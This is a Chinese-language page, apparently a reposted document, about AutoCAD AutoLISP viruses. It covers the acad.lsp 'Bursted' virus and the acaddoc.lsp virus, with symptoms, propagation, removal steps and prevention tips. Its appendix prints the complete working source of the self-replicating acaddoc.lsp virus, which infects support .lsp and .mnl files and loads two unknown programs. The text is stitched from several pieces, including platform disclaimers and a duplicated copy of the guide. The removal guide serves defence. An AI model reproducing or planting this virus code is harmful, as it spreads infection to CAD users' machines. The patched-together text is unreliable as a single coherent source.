病毒名称Harm.Bursted该病毒是使用绘图软件：AutoCAD的内嵌脚本语言的写成，文件名为："acad.lsp" 可由AutoCAD启动时自动执行，但它不影响图形文件。
此病毒使AutoCAD的内部命令－EXPLODE, XREF 和XBIND无效，并定义一个新的命令BRUST，此命令将显示如下消息：BURST----将图块中的文字炸开后成为实体中了病毒"ASL.Bursted.A"病毒之解決方案我的電腦昨日中毒諾頓掃描後顯示說D:\RECYCLER\S－1-5-21-299502267-2139871995-726345543-1003\Dd44.rar感染ASL.Bursted.A病毒我從網路上各網站找沒有確切的方案有的說刪掉該檔案<有的提供出殺毒小軟件但均無法刪除但我從各論壇的的二次開發看到一段很重要的話ACAD有个很大的优点就是开放性它有很多开放的接口这给用户自定义以及第三方二次开发提供了极大的方便。
acaddoc.lsp病毒文件彻底清除方法之欧阳数创编
前言: 最近本人公司里流行一种CAD病毒，中毒后，CAD每次新开图均生成一个acaddoc.lsp 的病毒文件，虽破坏力不大，但烦不胜烦。
经研究病毒源码后，摸索出了一套清除该病毒的办法。
然后经过在数个同事机器上验证，该方法行之有效。
于是将杀毒方法成文，群发给部门同事，以下是原文。
一病毒简介:最近公司里流传一种cad病毒。
该病毒可被卡巴斯基和360杀毒软件查出。
卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a，360杀毒软件查出病毒名为Trojan.Script.29327。
遗憾的是，卡巴斯基和360杀毒软件均不能将其彻底清除。
二中毒症状：机器中毒后，运行CAD时，每打开一个dwg文件，均在dwg文件所在目录下生成一个acaddoc.lsp的文件。
由于每次开图，病毒程序均进行一次病毒传播复制过程，因此使得CAD开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件，如文件末尾含有与附件1相同的代码，则可判定为中毒。
三传播机理：通过分析病毒的源代码，初步了解其传播机理如下：如机器已中毒，CAD新打开dwg文件时，病毒程序自动加载。
并搜索CAD工作目录下的acad.mnl文件，感染同一目录下的*.mnl文件，搜索acad的support目录，并感染该目录下的所有*.lsp文件。
同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件，以利于下次传播。
如本机未中毒，而新打开的dwg文件所在目录下有acaddoc.lsp文件，则病毒将感染上述目录下的*.mnl 与*.lsp文件。
该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。
至于这两个程序会干什么，暂未深入研究。
四清除步骤：1. 退出CAD。
2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件，然后彻底删除上述文件。
注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
acaddoc病毒处理办法2011前言:下文第1、2、3段无实质内容，可略过不读。
一病毒简介:最近公司里流传一种cad病毒。
该病毒可被卡巴斯基和360杀毒软件查出。
卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a，360杀毒软件查出病毒名为Trojan.Script.29327。
遗憾的是，卡巴斯基和360杀毒软件均不能将其彻底清除。
二中毒症状：机器中毒后，运行CAD时，每打开一个dwg文件，均在dwg文件所在目录下生成一个acaddoc.lsp的文件。
由于每次开图，病毒程序均进行一次病毒传播复制过程，因此使得CAD 开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件，如文件末尾含有与附件1相同的代码，则可判定为中毒。
三传播机理：通过分析病毒的源代码，初步了解其传播机理如下：如机器已中毒，CAD新打开dwg文件时，病毒程序自动加载。
并搜索CAD工作目录下的acad.mnl文件，感染同一目录下的*.mnl文件，搜索acad的support目录，并感染该目录下的所有*.lsp文件。
同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件，以利于下次传播。
如本机未中毒，而新打开的dwg文件所在目录下有acaddoc.lsp文件，则病毒将感染上述目录下的*.mnl与*.lsp文件。
该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。
至于这两个程序会干什么，暂未深入研究。
四清除步骤：1.退出CAD。
2.全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件，然后彻底删除上述文件。
注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。
搜索时选择“查找所有文件及文件夹”，然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。
如果搜出的文件无法删除，则先清空回收站，再搜索删除。
注：探索者目录下有个AcadDoc.lsp（注意大小写）不是病毒文件，谨防误删。
3.查看C盘根目录下是否有boot.dat文件，如有，则将其删除。
4.进入C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD2006（或AutoCAD2004）\R16.2\chs\Support目录，用记事本打开该目录下的所有*.mnl文件，手动删除与附件1相同的代码（一般都在文件末尾），然后保存。
并将修改后的所有*.mnl文件属性设置为“只读”。
5.进入CAD安装目录下的support目录，将该目录下的所有*.lsp文件按步骤4方法处理。
记得将其属性设为“只读”。
6.如果本机安装有多个版本的CAD，都需按上述步骤检查一次。
五预防措施：由于该病毒是通过读取dwg文件所在的目录下acaddoc.lsp来传播的。
因为在接受其他同事的文件夹时，应先检查该文件夹中是否包含上述病毒文件。
如有，则删除之。
同时也应该确保传给其他同事的文件夹不要包含上述文件。
病毒会感染support目录下的 *.lsp文件。
因此建议新建一个文件夹，将常用的lisp 程序放置在该文件夹下，同时在CAD选项中将其设置为工作搜索目录。
未装杀毒软件的机器应首先将杀毒软件装上（360杀毒软件免费的），在接受他人传来的文件后应首先杀毒。
建议不要直接打开公共盘上的dwg文件，应先下载到本机再打开。
附件1: 病毒代码(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r"))(while (setq text (read-line wjm1))(if (= text bz) (setq flag1 nil)));while(close wjm1));progn);if(if flag1(progn(setq wjm (open source "r"))(setq wjm1 (open target "a"))(write-line (chr 13) wjm1)(while (setq text (read-line wjm))(if (= text bz) (setq flag t))(if flag(progn(write-line text wjm1));progn);if);while(close wjm1)(close wjm));progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl))(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))(setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp"))(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath))(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn)));while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn (1+ lspn))(load "acadapq")(princ)(load "acadappp.lsp")(princ)。